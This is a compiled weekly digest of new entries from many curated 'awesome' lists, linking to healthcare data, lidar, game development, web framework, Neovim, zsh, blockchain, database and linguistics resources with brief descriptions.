* [OHDSI OMOP Common Data Model](https://www.ohdsi.org/data-standardization/) - Standardized data model for many healthcare concepts, awesome Github presence including scripts for many major relational databases.
### Contents / Imaging
* [Omero (⭐175)](https://github.com/ome/openmicroscopy) - open source client/server system written in Java for visualizing, managing, and annotating microscope images and metadata
* [OpenSlide (⭐333)](https://github.com/openslide/openslide) - is a C library for reading whole slide image files.
* [Viv (⭐217)](https://github.com/hms-dbmi/viv) - multiscale visualization of high-resolution multiplexed bioimaging data on the web.
### Contents / Libraries
* [Rust FHIR (⭐11)](https://github.com/itsbalamurali/rust-fhir) - Rust SDK for HL7 FHIR
* [Z-Anatomy](https://www.z-anatomy.com) - The libre atlas of anatomy
### Contents / Data
* [Cedar (⭐4)](https://github.com/mitre/cedar) - Open source tool for testing the strength of Electronic Clinical Quality Measure.
## [43. Awesome Lidar](/content/szenergy/awesome-lidar/week/README.md)
### Algorithms / Semantic segmentation
* [RandLA-Net :newspaper:](https://arxiv.org/pdf/1911.11236.pdf) - Efficient Semantic Segmentation of Large-Scale Point Clouds
* [GitHub repository :octocat: (⭐1.1k)](https://github.com/QingyongHu/RandLA-Net)
* [YouTube video :red\_circle:](https://www.youtube.com/watch?v=Ar3eY_lwzMk)
* [Automatic labelling :newspaper:](https://arxiv.org/pdf/2108.13757.pdf) - Automatic labelling of urban point clouds using data fusion
* [GitHub repository :octocat: (⭐105)](https://github.com/Amsterdam-AI-Team/Urban_PointCloud_Processing)
* [YouTube video :red\_circle:](https://www.youtube.com/watch?v=qMj_WM6D0vI)
## [44. Awesome Flame](/content/flame-engine/awesome-flame/week/README.md)
### Articles by [YayoCode](https://www.yayocode.com "YayoCode")
* [1. Getting started: Setting up the project](https://yayocode.com/post/XPECczhhAZgJDGcy69AO)
* [2. The world, bodies, shapes, and fixtures](https://yayocode.com/post/pD63d2bqXJnaRU8Er80B)
* [3. Body types: dynamic, static & kinematic](https://yayocode.com/post/7hp4dLXobT8GJ3NtzVOS)
* [4. Friction, density & restitution](https://yayocode.com/post/Gt8E8u7W9ftte6nRp1fu)
* [5. Forces, impulses & linear velocity](https://yayocode.com/post/yPFeIgyd6Jnz8Pgby6FU)
* [6. Bodies and sprites](https://yayocode.com/post/91HWShtzuHkfaOj9gPP3)
* [7. Collisions](https://yayocode.com/post/5eL4tEcqOwlVxrtJV1BD)
* [8. Collisions with animated sprites](https://yayocode.com/post/ByfdSu012LCDKkAucB50) - (2022-12-02).
## [45. Awesome Libgdx](/content/rafaskb/awesome-libgdx/week/README.md)
### Resources / Audio
* [TuningFork (⭐20)](https://github.com/Hangman/TuningFork) - Advanced 3D audio features for libGDX desktop users.
* [gdx-miniaudio (⭐26)](https://github.com/rednblackgames/gdx-miniaudio) - Advanced Cross Platform Audio Engine for libGDX based on MiniAudio.
* [gdx-sfx (⭐10)](https://github.com/spookygames/gdx-sfx) - Some goodies for better sound effects in libGDX.
* [gdx-pd (⭐27)](https://github.com/mgsx-dev/gdx-pd) - Pure Data extension for libGDX.
## [46. Awesome Minecraft](/content/bs-community/awesome-minecraft/week/README.md)
### Server Plugins / Building
* [Connect](https://connect.minekube.com/) - Open shared Minecraft network for advertising public and local host servers.
### Softwares / Servers
* [Gate (⭐262)](https://github.com/minekube/gate) - A high performance & paralleled Minecraft proxy written in Go.
## [47. Awesome Construct](/content/ConstructCommunity/awesome-construct/week/README.md)
### Community
* [Stack Overflow](https://stackoverflow.com/questions/tagged/construct-3+or+construct-2)
### Games Showcase
* [Games on itch.io](https://itch.io/games/tag-construct-2/tag-construct-3) - List of itch.io games made with the engine.
### Hosting
* [Vercel](https://vercel.com/) - Platform where to host an exported game as a static website or cloud functions - **Free/Paid**.
### Tools
* [FrameworkJS for Construct2](https://c2.frameworkjs.eth.limo/) - Use Construct 2 to develop apps \[in development]
### Export
* [Chowdren](https://mp2.dk/chowdren/) - Blazingly fast runtime for Clickteam Fusion and Scirra Construct.
## [48. Awesome PICO 8](/content/pico-8/awesome-PICO-8/week/README.md)
### Contents / Hardware
* [PocketChip](https://shop.pocketchip.co/) - A handheld designed for playing and coding anywhere. Officially supported by pico-8. [PoketChip version of pico-8](https://www.lexaloffle.com/bbs/?tid=34009)
### Contents / Clones
* [LowRes NX](https://lowresnx.inutilis.com/) - Fantasy Console available on IOS, MacOS, Windows, Linux, and GameShell (BASIC code support)
## [49. Awesome Love2d](/content/love2d-community/awesome-love2d/week/README.md)
### Development
* [loveprofiler (⭐3)](https://github.com/dknight/loveprofiler) - LoveProfiler is an extremely simple logger and profiler.
### Drawing
* [Resolution Solution (⭐15)](https://github.com/Vovkiv/resolution_solution) - Scale library, that help you add resolution support to your games!
### Entity
* [ecs-lua (⭐83)](https://github.com/nidorx/ecs-lua) - ECS Lua is a fast and easy to use ECS (Entity Component System) engine for game development.
### Helpers
* [lua-state-machine (⭐306)](https://github.com/kyleconroy/lua-state-machine) - Lua Finite State Machine.
* [Scenery (⭐7)](https://github.com/paltze/scenery) - A dead simple scene/state management system.
### Input
* [Kazari (⭐7)](https://github.com/MikuAuahDark/Kazari) - Multitouch gesture and input library.
### Tweening
* [NAniTe (⭐28)](https://github.com/MikuAuahDark/NPad93/blob/master/nanite.lua) - Timeline-based animation system that supports forward and backward update.
### UI
* [YUI](https://gitea.it/1414codeforge/yui) - Declarative UI library for LÖVE.
## [50. Awesome Ironsworn](/content/Billiam/awesome-ironsworn/week/README.md)
### Hacks and homebrew / Ironsworn
* [Iron Degenerates](https://drive.google.com/file/d/12iPtYAHlUJ_WMJIDqfTqgA2Sm44ayddV/view) - Bringing the Dungeon Degenerates setting to Ironsworn
* [Your Legends of Iron](https://anarisis.itch.io/patreon-papers-021) - Zelda-themed truths for Ironsworn
## [51. Awesome Game Engine Dev](/content/stevinz/awesome-game-engine-dev/week/README.md)
### Game Engines / Commercial
* 💰 [AppGameKit](https://www.appgamekit.com/studio) - Easy and quick game making by *TheGameCreators*.
### Libraries / Lua
* 📚 [Awesome Lua (⭐3.4k)](https://github.com/LewisJEllis/awesome-lua) - Awesome Lua packages and resources.
## [52. Awesome Inertiajs](/content/innocenzi/awesome-inertiajs/week/README.md)
### Resources / Examples
* [Ping CRM / Preact (⭐1)](https://github.com/jrson83/pingcrm-preact) - Demonstration application made with Laravel Preact.
## [53. Awesome Yew](/content/jetli/awesome-yew/week/README.md)
### Projects
* [live-ask.com (⭐61)](https://github.com/liveask/liveask) - Realtime Event/Meetup Q\&A Platform. [Live at live-ask.com](https://live-ask.com).
### Crates / Wasm
* [tauri-sys (⭐34)](https://github.com/JonasKruckenberg/tauri-sys) - Raw bindings to the Tauri API for projects using wasm-bindgen.
### Crates / Frameworks
* [stackable (⭐11)](https://github.com/futursolo/stackable) - A framework experience for Yew.
### Tooling / Frameworks
* [Tauri (⭐62k)](https://github.com/tauri-apps/tauri) - Tauri is a framework for building tiny, blazingly fast binaries for all major desktop platforms. Developers can integrate any front-end framework that compiles to HTML, JS and CSS for building their user interface. The backend of the application is a rust-sourced binary with an API that the front-end can interact with.
## [54. Awesome Tailwindcss](/content/aniftyco/awesome-tailwindcss/week/README.md)
### Tools
* 💼 [Tailiscope.nvim (⭐39)](https://github.com/danielvolchek/tailiscope.nvim) - Tailwind CSS cheat sheet integrated in Neovim.
### UI Libraries, Components & Templates
* 📁 [Admin One React (⭐163)](https://github.com/justboil/admin-one-react-tailwind) - Free React.js Tailwind CSS admin template with Next.js & TypeScript.
## [55. Awesome Blazor](/content/AdrienTorris/awesome-blazor/week/README.md)
### ToDos
* [TodoApi by David Fowler (⭐1.9k)](https://github.com/davidfowl/TodoApi) -   Todo application by David Fowler in .NET 7 that features an ASP.NET Core hosted Blazor WASM front end application and an ASP.NET Core REST API backend using minimal APIs.
### Others
* [Command and Control, by David Fowler (⭐104)](https://github.com/davidfowl/CommandAndControl) -   This is a sample using Blazor server and SignalR to do command and control. Agents connect to the blazor server application which is hosting a SignalR Hub and we can issue various commands against the connected agents (this feature uses client results).
### Articles / Others
* [Use Keycloak as Identity Provider from Blazor WebAssembly (WASM) applications](https://dev.to/nikiforovall/use-keycloak-as-identity-provider-from-blazor-webassembly-wasm-applications-3an6) - December 8, 2022 - Learn how to integrate with Keycloak from Blazor WASM. Create a public client and use built-in capabilities of Microsoft.AspNetCore.Components.WebAssembly.Authentication that integrates with OpenId Connect compliant providers. [Source code (⭐157)](https://github.com/NikiforovAll/keycloak-authorization-services-dotnet/blob/main/samples/Blazor)   Brings [ChartJs (⭐61k)](https://github.com/chartjs/Chart.js).
* [What’s new in the Microsoft Fluent UI library for Blazor version 2.0](https://medium.com/fast-design/whats-new-in-the-microsoft-fluent-ui-library-for-blazor-version-2-0-b3ac0eb5d02c) - December 5, 2022 - What’s new in the Microsoft Fluent UI library for Blazor version 2.0.
* [Build a web app to manage a custom provider in Viva Learning with Blazor](https://techcommunity.microsoft.com/t5/windows-dev-appconsult/build-a-web-app-to-manage-a-custom-provider-in-viva-learning/ba-p/3686343#M679) - November 29, 2022 - In this post, we're going to reuse the concepts we have learned to build a better experience: a web application, that we can use to manage our custom learning provider and its contents. We'll focus on how to implement in a real application some of the peculiar features we have learned about these APIs, like the fact that a different set of permissions is required based on the type of content you're working with.
* [Clean Architecture Solution Template for Blazor WebAssembly](https://jasontaylor.dev/clean-architecture-solution-template-for-blazor-webassembly/) - September 30, 2022 - This post shows how to install the new template, create and run a new app using the template, and then I’ll share some recommended resources.
* [Implement OpenAPI Support for Blazor WebAssembly](https://jasontaylor.dev/implement-openapi-support-for-blazor-webassembly/) - September 2, 2022 - OpenAPI is a language-agnostic specification for documenting RESTful APIs. It allows both humans and computers to understand the capabilities of a service without accessing code, docs, or using other methods. Hosted Blazor WebAssembly apps include an ASP.NET Core backend for file and API access, and so implementing support for OpenAPI provides numerous benefits.
* [Containerizing Blazor WASM, ASPNET Core WebApi, NGINX & Let's Encrypt](https://www.ledjonbehluli.com/posts/blazor_wasm_nginx_docker/) - April 26, 2022 - Guide on containerizing a complex system composed from multiple Blazor WASM apps, ASPNET Core Web Api, NGINX & Let's Encrypt SSL certificates.
### Tooling / Others
* [LiveSharp (⭐66)](https://github.com/ionoy/LiveSharp) -   Update `.razor` files and see the updates instantly without reloading the page. Your application state is preserved because there is no need to reload anything. [livesharp.net](https://www.livesharp.net/).
## [56. Awesome Jamstack](/content/automata/awesome-jamstack/week/README.md)
### Serverless / Automation
* [TwicPics](https://twicpics.com/) - Serverless images & videos optimization and transformation service. TwicPics can be plugged into any stack to optimize medias in real-time by giving full control to frontend developers.
## [57. Awesome Nextjs](/content/unicodeveloper/awesome-nextjs/week/README.md)
### Books
* [Hands On Next.js](https://leanpub.com/hands-on-nextjs) - A practical fullstack book on universal (server) rendering for react applications.
* [Serverless Web Applications with React and Next.js](https://www.amazon.com/dp/B0BHRPMF74) - Use Next.js serverless features to access databases and authenticate users in your React applications
## [58. Awesome Vue](/content/vuejs/awesome-vue/week/README.md)
### Resources / Podcasts
* [Views on Vue (weekly podcast on Vue)](https://topenddevs.com/podcasts/views-on-vue)
### Components & Libraries / UI Components
* [vuetify-resize-drawer (⭐4)](https://github.com/webdevnerdstuff/vuetify-resize-drawer) - Vuetify v2. The vuetify-resize-drawer component extends the functionality of the v-navigation-drawer so that it is resizable by the user.
* [vue-country-code (⭐21)](https://github.com/hantrongbinh/vue-country-code) - Vue 2 Country Code Select
## [59. Awesome Emails](/content/jonathandion/awesome-emails/week/README.md)
### Frameworks / React
* [React Email](https://react.email/) - A collection of high-quality, unstyled components for creating beautiful emails using React and TypeScript.
* [Mailing](https://www.mailing.run/) - Build emails in React, send from anywhere.
### Templates / Misc
* [Stripo](https://stripo.email/templates/) - Rich set of responsive, interactive beautiful email templates with Stripo.
### Tools / Misc
* [Can I Email](https://www.caniemail.com/) - Can I email… Support tables for HTML and CSS in emails.
* [MJML Desktop App](https://mjmlio.github.io/mjml-app/) - MJML official desktop app.
* [MailSpice analytics](https://mailspice.com) - Email analytics add-on for all email services that provides deep insights into all of your email campaigns (works with all ESPs).
### Self-Hosted Services / Misc
* [Mailcow](https://mailcow.email/) - The mailserver suite with the 'moo'. An easy to use dockerized selfhosted email solution.
## [60. Webcomponents the Right Way](/content/mateusortiz/webcomponents-the-right-way/week/README.md)
### Introduction
* [An Introduction to Web Components](https://css-tricks.com/an-introduction-to-web-components/)
* [What are browser-native web components?](https://gomakethings.com/what-are-browser-native-web-components/)
### Accessibility
* [Accessibility with ID Referencing and Shadow DOM](https://coryrylan.com/blog/accessibility-with-id-referencing-and-shadow-dom)
### History / 2019
* [Web Components for Cross-Framework Component Libraries](https://codeburst.io/web-components-for-cross-framework-component-libraries-2647741f9470)
* [Web Components in 2019: Part 1](https://codeburst.io/web-components-in-2019-part-1-6bd7251edce5)
* [Web Components in 2019: Part 2](https://codeburst.io/web-components-in-2019-part-2-a7de8c770c5a)
* [Web Components in 2019: Part 3](https://codeburst.io/web-components-in-2019-part-3-e725b781a414)
* [Web Components in 2019: Part 4](https://codeburst.io/web-components-in-2019-part-4-7fe8e63a4dee)
* [Developments in Web Components I’m excited about in 2019](https://medium.com/angular-in-depth/developments-in-web-components-im-excited-about-in-2019-3ae7751c2f64)
### History / 2018
* [Web Components in 2018](https://www.sitepen.com/blog/web-components-in-2018)
### History / 2017
* [Web Components: Just in the Nick of Time (Polymer Summit 2017)](https://youtu.be/y-8Lmg5Gobw)
* [Using Web Components in Ionic (Polymer Summit 2017)](https://youtu.be/UfD-k7aHkQE)
* [Web Components for VR (Polymer Summit 2017)](https://youtu.be/8GmTu2JF4-0)
* [Building UI at Enterprise Scale with Web Components (Polymer Summit 2017)](https://youtu.be/FJ2KEvzlyo4)
* [Custom Elements Everywhere (Polymer Summit 2017)](https://youtu.be/sK1ODp0nDbM)
* [Evolving the Next Generation of Polymer Elements (Polymer Summit 2017)](https://youtu.be/rvpJ5O0W_6A)
* [Polymer @ YouTube (Polymer Summit 2017)](https://youtu.be/tNulrEbTQf8)
* [Web Components for CMS (Polymer Summit 2017)](https://youtu.be/c-WDHG6rrdU)
* [Web Components v1 - the next generation](https://web.dev/webcomponents-org/)
### History / 2016
* [Extensible web components](https://adactio.com/journal/11052)
* [Web Component Challenges](https://blog.revillweb.com/web-component-challenges-a09ebc598d65)
* [Web Components and progressive enhancement](https://onishi.ltd/articles/2016/08/web-components-and-progressive-enhancement/)
* [Update on standardizing Shadow DOM and Custom Elements](https://annevankesteren.nl/2015/07/shadow-dom-custom-elements-update)
### History / 2015
* [There is an Element for that](https://medium.com/synsugar/there-is-an-element-for-that-a9fcdafe4a25)
* [What happened to Web Components?](https://2ality.com/2015/08/web-component-status.html)
* [Why Web Components will make the web a better place for our users](https://medium.com/@kaelig/why-web-components-will-make-the-web-a-better-place-for-our-users-38dc3154fc1d)
* [Practical Questions around Web Components](https://www.ianfeather.co.uk/practical-questions-around-web-components/)
### History / 2014
* [A No-Nonsense Guide to Web Components, Part 1: The Specs](http://cbateman.com/blog/a-no-nonsense-guide-to-web-components-part-1-the-specs/)
* [A No-Nonsense Guide to Web Components, Part 2: Practical Use](http://cbateman.com/blog/a-no-nonsense-guide-to-web-components-part-2-practical-use/)
* [Web Components + Backbone: A Game-Changing Combination](https://youtu.be/dztuKgjk0Bg)
* [Server-less applications powered by Web Components](https://youtu.be/MdcD1rNkNLE)
* [Web Components and the Future of CSS](https://youtu.be/QHxrr6Q82yI)
* [Easy composition and reuse with Web Components](https://youtu.be/6vcQlD-jadk)
* [Let’s build some apps with Polymer!](https://youtu.be/kV0hgdMpH28)
* [Polymer: State of the Union](https://youtu.be/0LT6W5QVCJI)
* [Web Components 101: An Introduction to Fundamental Changes in HTML](https://youtu.be/hEzmy93zr0Y?t=540)
* [Web Components 201: Designing Web Components for Reuse](https://youtu.be/dwxaG-eoxdU)
* [Why Web Components — Does the Web Really Need Another Component?](https://medium.com/@shaunwalla/why-web-components-does-the-web-really-need-another-component-4af010b6446)
* [“Don’t stop thinking about tomorrow” - AngularJS and Web Components](https://youtu.be/gSTNTXtQwaY)
* [Multi-device Apps with Web Components](https://youtu.be/kn0y7uugO0Y)
* [As I Walk Through The Valley Of The Shadow Of DOM](https://youtu.be/nbsWP2cPhhU)
* [Accessibility of Web Components](https://youtu.be/BgvDZZ8Ms8c)
* [Componentize The Web: Back To The Browser!](https://youtu.be/GOPXVLxp9Nc)
* [Google I/O 2014 - Polymer and the Web Components revolution](https://youtu.be/yRbOSdAe_JU)
* [Google I/O 2014 - Polymer and Web Components change everything you know about Web development](https://youtu.be/8OJ7ih8EE7s)
* [Google I/O 2014 - Unlock the next era of UI development with Polymer](https://youtu.be/HKrYfrAzqFA)
* [Making Polymer Elements Accessible](https://youtu.be/_IBiXfxhF-A)
* [The Road to Web Components](https://youtu.be/yLyyXHhSl8w)
* [The Web Components Revolution is Here](https://youtu.be/3QLmAm9xtnU)
* [Web Components: A chance to create the future](https://youtu.be/JUzjr1bIRUg)
* [Web Component Mashups at 3 a.m.](https://youtu.be/75EuHl6CSTo)
* [Web Components Tools & Libraries](https://youtu.be/iPmN4CvLGJc)
* [Web Components Can Do That?!](https://addyosmani.com/fitc-wccdt/)
* [HTML as Custom Elements (⭐257)](https://github.com/domenic/html-as-custom-elements)
* [Using Polymer to Create Web Components](https://code.tutsplus.com/tutorials/using-polymer-to-create-web-components--cms-20475)
### History / 2013
* [A future called Web Components](https://speakerdeck.com/zenorocha/a-future-called-web-components)
* [Building Mobile Web Applications With Brick](https://youtu.be/dW2ib0bkxGQ)
* [Polymer: declarative, encapsulated, and reusable components for the web](https://youtu.be/DH1vTVkqCDQ)
* [Web Components: Why you're already an expert](https://youtu.be/s1PTPZwzQA4)
* [Yo Polymer: a new way of building web apps](https://youtu.be/booRxAJblwM)
* [Web Components Revolution](https://robdodson.github.io/webcomponents-revolution/)
* [Return of Inspector Web: Web Components a Year Later](https://vimeo.com/78899868)
* [Working with Custom Elements](https://web.dev/customelements/)
* [Breaking Development: Web Components](https://www.lukew.com/ff/entry.asp?1752)
* [Web Components: A Tectonic Shift for Web Development - Google I/O 2013](https://youtu.be/fqULJBBEVQE)
* [Web Components: Getting Started](https://vimeo.com/68212204)
* [Shadow DOM 101](https://web.dev/shadowdom/)
* [Shadow DOM 201](https://web.dev/shadowdom-201/)
* [Shadow DOM 301](https://web.dev/shadowdom-301/)
* [Visualizing shadow DOM concepts](https://developer.chrome.com/blog/visualizing-shadow-dom-concepts/)
* [Web components and the future of web development](https://youtu.be/pb6DsPNdoXk)
* [HTML's New Template Tag](https://web.dev/webcomponents-template/)
### History / 2012
* [Google I/O 2012 - The Web Platform's Cutting Edge](https://youtu.be/2txPYQOWBtg)
## [61. Awesome React](/content/enaqx/awesome-react/week/README.md)
### React State Management and Data Fetching
* [jotai (⭐13k)](https://github.com/pmndrs/jotai) - Primitive and flexible state management for React
## [62. Awesome Css Frameworks](/content/troxler/awesome-css-frameworks/week/README.md)
### Material Design
* [**Materialize**](https://materializecss.github.io/materialize/) - Responsive front-end library based on Google's Material Design.\
[Docs](https://materializecss.github.io/materialize/getting-started.html),
[Repo (⭐572)](https://github.com/materializecss/materialize)
\| #SCSS
### Specialized
* [**XP.css**](https://botoxparty.github.io/XP.css/) - CSS library for building interfaces that look like Windows XP.\
[Repo (⭐1.6k)](https://github.com/botoxparty/XP.css)
\| #PostCSS
* [**7.css**](https://khang-nd.github.io/7.css/) - CSS library for building interfaces that look like Windows 7.\
[Repo (⭐1k)](https://github.com/khang-nd/7.css)
\| #PostCSS
## [63. Awesome Typescript](/content/dzharii/awesome-typescript/week/README.md)
### Books
* :books: [TypeScript in 50 Lessons](https://typescript-book.com/) by Stefan Baumgartner
* :books: [Effective TypeScript](https://www.oreilly.com/library/view/effective-typescript/9781492053736/) by Dan Vanderkam
## [64. Web Development Resources](/content/markodenic/web-development-resources/week/README.md)
### UI Inspiration:
- Website: <https://landingexam.com>
## [65. Awesome Newsletters](/content/zudochkin/awesome-newsletters/week/README.md)
### Java / Angular
* [Baeldung Weekly Review](https://www.baeldung.com/java-web-weekly). Keep up-to-date with the main developments in the Java world through this weekly guide.
### Devops / Angular
* [Learn Kubernetes weekly](https://learnk8s.io/learn-kubernetes-weekly). Curated articles, tutorials, projects and events with a focus on Kubernetes.
## [66. Awesome Neovim](/content/rockerBOO/awesome-neovim/week/README.md)
### Project / Diagnostics
* [otavioschwanck/telescope-alternate.nvim (⭐70)](https://github.com/otavioschwanck/telescope-alternate.nvim) - Alternate between common files using telescope.
* [gnikdroy/projections.nvim (⭐164)](https://github.com/gnikdroy/projections.nvim) - Tiny project + session manager.
### Tree-sitter Supported Colorscheme / Diagnostics
* [gbprod/nord.nvim (⭐62)](https://github.com/gbprod/nord.nvim) - An arctic, north-bluish clean and elegant Neovim theme, based on Nord Palette.
### Note Taking / Diagnostics
* [phaazon/mind.nvim (⭐703)](https://github.com/phaazon/mind.nvim) - The power of trees at your fingertips.
### Code Runner / Diagnostics
* [Civitasv/cmake-tools.nvim (⭐87)](https://github.com/Civitasv/cmake-tools.nvim) - CMake integration.
### Tmux / Diagnostics
* [otavioschwanck/tmux-awesome-manager.nvim (⭐47)](https://github.com/otavioschwanck/tmux-awesome-manager.nvim) - Run your workflow commands like yarn install, rails console, yarn add, bundle install, etc.
### Preconfigured Configuration / Diagnostics
* [otavioschwanck/mood-nvim (⭐60)](https://github.com/otavioschwanck/mood-nvim) - Ready to use configuration for Ruby on Rails, JavaScript and Typescript.
* [ldelossa/nvim-ide (⭐660)](https://github.com/ldelossa/nvim-ide) - A full featured IDE layer heavily inspired by VSCode.
## [67. Awesome Zsh Plugins](/content/unixorn/awesome-zsh-plugins/week/README.md)
### Plugins / [superconsole](https://github.com/alexchmykhalo/superconsole) - Windows-only.
* [pnpm (leizhenpeng) (⭐4)](https://github.com/Leizhenpeng/zsh-plugin-pnpm) - Adds useful aliases for common [pnpm](https://pnpm.io/) commands.
* [vtex (⭐0)](https://github.com/xdigu/zsh-vtex) - Adds helper aliases for [vtex](https://developers.vtex.com/vtex-developer-docs/docs/vtex-io-documentation-vtex-io-cli-command-reference#default-commands) cli commands.
### Completions / [superconsole](https://github.com/alexchmykhalo/superconsole) - Windows-only.
* [autorestic (⭐3)](https://github.com/naegling/zsh-autorestic) - automatically installs [Restic (⭐783)](https://github.com/cupcakearmy/autorestic/)'s completions for you, and keeps them up to date as your autorestic version changes.
* [kustomize (⭐12)](https://github.com/ralgozino/oh-my-kustomize) - Adds tab completions for [kustomize](https://kustomize.io/)
* [misc-completions (⭐0)](https://github.com/syohex/zsh-misc-completions) - Adds completions for more unix and perl commands.
* [tailscale (⭐5)](https://github.com/HeroesLament/zsh-tailscale-plugin) - Tab completion and aliases for [tailscale](https://www.tailscale.com/).
### Themes / [superconsole](https://github.com/alexchmykhalo/superconsole) - Windows-only.
* [alesrosina (⭐0)](https://github.com/alesrosina/oh-my-zsh-alesrosina-theme) - Includes decorators for `git` information, current directory and the last command's return status.
* [escape (⭐1)](https://github.com/fesmjke/escape/) - Includes decorators for `git` information, username, time, current directory and last command exit status.
* [otter (⭐2)](https://github.com/OtterArkar/otter-zsh/) - Otter-themed theme with `git` status, user\@host and current directory decorators.
* [pog7x (⭐1)](https://github.com/pog7x/pog7x-zsh-theme) - Works with unicode. Includes decorators for `git` information, current directory, last command exit status & execution time, time, virtualenv, nvm, rvm, rust, go, kubernetes context, and elixir.
* [pwn (⭐0)](https://github.com/gh05t-4/pwn-theme) - Includes decorators for user\@host, `git` & `hg` status, ruby version, python virtualenv and current working directory.
* [random-emoji-robbyrussell (⭐2)](https://github.com/parwatcodes/random-emoji-robbyrussell) - Based on [random-emoji](https://gist.github.com/oshybystyi/2c30543cd48b2c9ecab0) and `robbyrussell` themes.
* [rwahasugui (⭐0)](https://github.com/rafawhs/rwahasugui.zsh-theme/) - Includes decorators for `git` information, current time, current working directory and active python virtualenv.
## [68. Awesome Decentralized](/content/croqaz/awesome-decentralized/week/README.md)
### Applications
* [FileLove (⭐40)](https://github.com/midzer/filelove): Minimal p2p file transfer right in the browser, using WebTorrent.
## [69. Awesome Algorand](/content/aorumbayev/awesome-algorand/week/README.md)
### Other Development Tools / Testing
* [algojig (⭐12)](https://github.com/Hipo/algojig) - A tool for testing Algorand smart contracts.
### NFT Marketplaces / Wallets
* [ASA cafe](https://asa.cafe/) - Algorand Standard Asset platform and decentralized marketplace built by [@CryptoRUSHGav](https://github.com/CryptoRUSHGav). ASA cafe lets users mint and trade freely using the most modern standards, such as ARC-19, in Algo, USDC, or one of ASA cafe's expanding list of curated non-network tokens.
### DeFi Platforms / Wallets
* [Cometa.farm](https://cometa.farm/) - Decentralized liquidity-as-a-service.
### Projects / Wallets
* [algorealm (⭐18)](https://github.com/algorealm/algorealm) - Claim the Crown and the Sceptre of Algorand Realm! Written in Python+PyTEAL by [@cusma](https://github.com/cusma).
* [algorealm-ui (⭐3)](https://github.com/algorealm/algorealm-ui) - A web CLI Emulator version of algorealm cli game by @aorumbayev.
## [70. Awesome Substrate](/content/substrate-developer-hub/awesome-substrate/week/README.md)
### Templates
* [polkadot-js-api-ts-template (⭐13)](https://github.com/kianenigma/polkadot-js-api-ts-template) - A template project to kickstart hacking on top of `@polkadot/api`.
### Client Libraries
* [Sub-Api (⭐2)](https://github.com/kodadot/packages/tree/main/sub-api) - Friendly wrapper for Polkadot.js API maintained by KodaDot.
### Tools
* [Minimark (⭐2)](https://github.com/kodadot/packages) - Implementation of RMRK NFT v1/v2 protocol maintained by KodaDot.
* [Subkey](https://docs.substrate.io/reference/command-line-tools/subkey/) - Command line utility for working with cryptographic keys.
## [71. Awesome Tdengine](/content/taosdata/awesome-tdengine/week/README.md)
### GUI
* [TDengineGUI (⭐179)](https://github.com/skye0207/TDengineGUI) - A simple TDengine Desktop Manager(Original).
* [TDengineGUI for 2.x & 3.x (⭐40)](https://github.com/arielyang/TDengineGUI) - A simple TDengine Desktop Manager, adapted to TDengine 3.x.
## [72. Awesome Db Tools](/content/mgramin/awesome-db-tools/week/README.md)
### IDE
* [Slashbase (⭐774)](https://github.com/slashbaseide/slashbase) - The open-source collaborative IDE for your databases. Connect to your database, browse data, run a bunch of SQL commands or share SQL queries with your team, right from your browser.
### SQL / Learning
* [Learn SQL in a Month of Lunches](https://www.manning.com/books/learn-sql-in-a-month-of-lunches) - A book about how to use SQL to retrieve, filter, and analyze data.
## [73. Awesome Plone](/content/collective/awesome-plone/week/README.md)
### Develop
* [plone.app.debugtoolbar (⭐8)](https://github.com/plone/plone.app.debugtoolbar) - A toolbar that shows a wealth of debug information about a running Plone site and the content you are inspecting. Also includes a interactive python-shell, a TALES-expression evaluator and and code-reload.
## [74. Awesome Silverstripe Cms](/content/wernerkrauss/awesome-silverstripe-cms/week/README.md)
### Official Websites
* [www.s2-hub.com](https://www.s2-hub.com) - S2Hub - European Silverstripe Association.
## [75. Awesome](/content/craftcms/awesome/week/README.md)
### Plugins
* [Craft 4 Plugins](https://plugins.craftcms.com/?craft4)
* [Craft 3 Plugins](https://plugins.craftcms.com/?craft3)
## [76. Static Analysis](/content/analysis-tools-dev/static-analysis/week/README.md)
### Programming Languages / [Other](#other-1)
* [GCC](https://gcc.gnu.org/onlinedocs/gcc/Static-Analyzer-Options.html) — The GCC compiler has static analysis capabilities since version 10. This option is only available if GCC was configured with analyzer support enabled. It can also output its diagnostics to a JSON file in the SARIF format (from v13).
## [77. Awesome Linguistics](/content/theimpossibleastronaut/awesome-linguistics/week/README.md)
### Platforms and toolkits
* [CLARIN-D web tools](https://www.clarin-d.net/en/analysing) - Tools for Analysing Research Data
* [CorpusExplorer](https://notes.jan-oliver-ruediger.de/software/corpusexplorer-overview/) - Software for corpus linguists and text/data mining enthusiasts. The CorpusExplorer combines over 50 interactive visualizations under a user-friendly interface.
* [Snowball](https://snowballstem.org/) - Snowball is a language in which stemming algorithms can be easily represented.
* [Mate Tools](http://hdl.handle.net/11022/1007-0000-0000-8E4E-A), webservice via [WebLicht](https://weblicht.sfs.uni-tuebingen.de/)
* [textblob-de (⭐95)](https://github.com/markuskiller/textblob-de) - Nice alternative for spacy (see above).
### Data sets
* [Araneum Germanicum](http://aranea.juls.savba.sk/aranea_about/_germanicum.html)
* [CEHugeWebCorpus](https://lindat.mff.cuni.cz/repository/xmlui/handle/11372/LRT-2638) - German corpus based on CommonCrawl
* [Digitales Wörterbuch der deutschen Sprache (DWDS)](https://dwds.de)
* [GC4 Corpus](https://german-nlp-group.github.io/projects/gc4-corpus.html) (CommonCrawl)
* [IDS Corpora](https://www1.ids-mannheim.de/kl/projekte/korpora) - German Reference Corpus
* [Leipzig Corpora Collection](https://wortschatz.uni-leipzig.de/en/download/) - sampled sentences in different languages.
* [SdeWaC](https://www.ims.uni-stuttgart.de/forschung/ressourcen/korpora/sdewac.en.html) - big german internet corpus
* [C-WEP](http://lingured.info/linguistic-resources/cwep/)
* [DysList (list of dyslexic errors) (⭐3)](https://github.com/Rauschii/DysListGerman)
* [Falko](https://www.linguistik.hu-berlin.de/de/institut/professuren/korpuslinguistik/forschung/falko)
* [Litkey](https://www.linguistics.ruhr-uni-bochum.de/litkeycorpus/)
* [OpinionSpam (⭐1)](https://github.com/hdaSprachtechnologie/OpinionSpam)
### Deep learning models and transformers
* [dbmdz BERT models (⭐135)](https://github.com/dbmdz/berts)
* [Deepset German BERT model](https://deepset.ai/german-bert)
* [Evaluating German Transformer Language Models with Syntactic Agreement Tests (⭐6)](https://github.com/DFKI-NLP/gevalm)
* [German ELMo Model (⭐27)](https://github.com/t-systems-on-site-services-gmbh/german-elmo-model)
* [german-transformer-training (⭐19)](https://github.com/PhilipMay/german-transformer-training)
* [GermLM (⭐14)](https://github.com/tonianelope/Multilingual-BERT) (NER exploration)
